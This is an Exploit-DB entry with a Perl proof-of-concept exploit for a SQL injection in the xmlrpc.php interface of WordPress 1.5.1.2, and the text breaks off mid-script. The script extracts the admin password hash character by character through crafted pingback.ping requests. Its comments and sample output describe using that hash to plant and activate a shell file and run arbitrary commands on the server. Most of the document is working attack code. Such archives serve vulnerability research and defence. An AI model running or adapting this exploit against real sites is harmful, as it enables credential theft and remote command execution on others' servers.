Exploit-DB #1077
Description: WordPress Core 1.5.1.2 - 'xmlrpc' Interface SQL Injection
Type: webapps
Platform: php
Date: 2005-06-30
Author: GulfTech Security

Exploit:
#!/usr/bin/perl -w

# sorry for the late posting, had to test it. /str0ke

#################################################################
# Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection #
#################################################################
# By James Bercegay // http://www.gulftech.org/ // June 21 2005 #
#################################################################
# Quick and dirty proof of concept that uses the XML RPC server #
# vulnerabilities I discovered to extract a password hash & use #
# that hash to execute shell commands on the server as httpd :) #
#################################################################
# Technical details of WordPress XMLRPC Interface SQL Injection #
#################################################################
# The vulnerability exist because all XMLRPC data is taken from #
# the HTTP_RAW_POST_DATA variable, and never sanatized properly #
# thus leaving the doors open for attack. Also, most if not all #
# the functions in xmlrpc.php are vulnerable to similar attacks #
#################################################################
#
# C:\Documents and Settings\James\Desktop>wp.pl http://pathto/wp admin 1 "id;uname -a;pwd;uptime"
# [*] Trying Host http://pathto/wp ...
# [+] The XMLRPC server seems to be working
# [+] Char 1 is 2
# [+] Char 2 is 1
# [+] Char 3 is 2
# [+] Char 4 is 3
# [+] Char 5 is 2
# [+] Char 6 is f
# [+] Char 7 is 2
# [+] Char 8 is 9
# [+] Char 9 is 7
# [+] Char 10 is a
# [+] Char 11 is 5
# [+] Char 12 is 7
# [+] Char 13 is a
# [+] Char 14 is 5
# [+] Char 15 is a
# [+] Char 16 is 7
# [+] Char 17 is 4
# [+] Char 18 is 3
# [+] Char 19 is 8
# [+] Char 20 is 9
# [+] Char 21 is 4
# [+] Char 22 is a
# [+] Char 23 is 0
# [+] Char 24 is e
# [+] Char 25 is 4
# [+] Char 26 is a
# [+] Char 27 is 8
# [+] Char 28 is 0
# [+] Char 29 is 1
# [+] Char 30 is f
# [+] Char 31 is c
# [+] Char 32 is 3
# [+] Host : http://pathto/wp
# [+] User : admin
# [+] Hash : 21232f297a57a5a743894a0e4a801fc3
# [*] Attempting to create shell ..
# [+] Trying filename hello.php ...
# [+] Trying to activate hello.php ...
# [+] Trying to execute id;uname -a;pwd;uptime ...
# [+] Successfully executed id;uname -a;pwd;uptime
#
# uid=1979(gulftech) gid=500(customer) groups=500(customer)
# FreeBSD example.com 4.10-RELEASE FreeBSD 4.10-RELEASE #0: Tue Jan 1
# 1 22:44:03 PST 2005     james@example.com:/usr/src/sys/compile/EXAMPLE  i386
#
# /www/htdocs/wp/wp-admin
# 8:07AM  up 35 days, 20:01, 1 user, load averages: 7.98, 8.24, 8.14
#
#################################################################

use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

my $ua = new LWP::UserAgent;
  $ua->agent("Wordpress Hash Grabber v1.0" . $ua->agent);

my @char = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $host = $ARGV[0]; # The path to xmlrpc.php
my $user = $ARGV[1]; # The target login, default wp user is admin
my $post = $ARGV[2]; # Must be a valid pingback or part
                                    # of an entry title, very easy to
                                        # obtain if you know how to read :)
my $exec = $ARGV[3]; # Command to execute
my $pref = 'wp_';    # database prefix!
my $hash = '';

if ( !$ARGV[2] )
{
       die("Im Not Psychic ..\n");
}

print "[*] Trying Host $host ...\n";

my $res = $ua->get($host.'/xmlrpc.php');

if ( $res->content =~ /XML-RPC server accepts POST requests only/is )
{
       print "[+] The XMLRPC server seems to be working \n";
}
else
{
       print "[!] Something seems to be wrong with the XMLRPC server \n ";
       # Sloppy way of debugging, remove if you want
       open(LOG, ">wp_out.html"); print LOG $res->content;
       exit;
}

for( $i=1; $i < 33; $i++ )
{
       for( $j=0; $j < 16; $j++ )
       {
                               # oh my! :)
                               my $sql = "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM " . $pref . "users WHERE (user_login='$user' AND MID(user_pass,$i,1)='$char[$j]')/*</string></value></param><param><value><string>$host/?p=$post#$post</string></value></param><param><value><string>admin</string></value></param></params></methodCall>";

                               # Remove the content type so $HTTP_RAW_POST_DATA is
                               # populated. php.net guys, pleeeeaaase fix this! :)
                               my $req = new HTTP::Request POST => $host . "/xmlrpc.php";
                                  $req->content($sql);
                                  $res = $ua->request($req);
                              $out = $res->content;

               if ( $out =~ /The pingback has already been registered/)
               {
                   $hash .= $char[$j];
                   print "[+] Char $i is $char[$j]\n";
                   last;
               }

       }

   if ( length($hash) < 1 )
   {
               # Sloppy way of debugging, remove if you want
               open(LOG, ">wp_out.html"); print LOG $out;

               print "[!] $host not vulnerable? Better verify manually!\n";
               exit;
       }
                               if ( $out =~ /<value><int>0<\/int><\/value>/)
                               {
                                   print "[!] Invalid post information specified! \n";
                                       exit;
                               }

                               # Probably exploitable, but not by using default SQL query. The
                               # [0]{5} regex may be a bad idea bit ive never seen a md5 thats
                               # got 5 0's at the very beginning of it.
                               if ( $out =~ /different number of columns/is || $hash =~ /([0]{5})/ )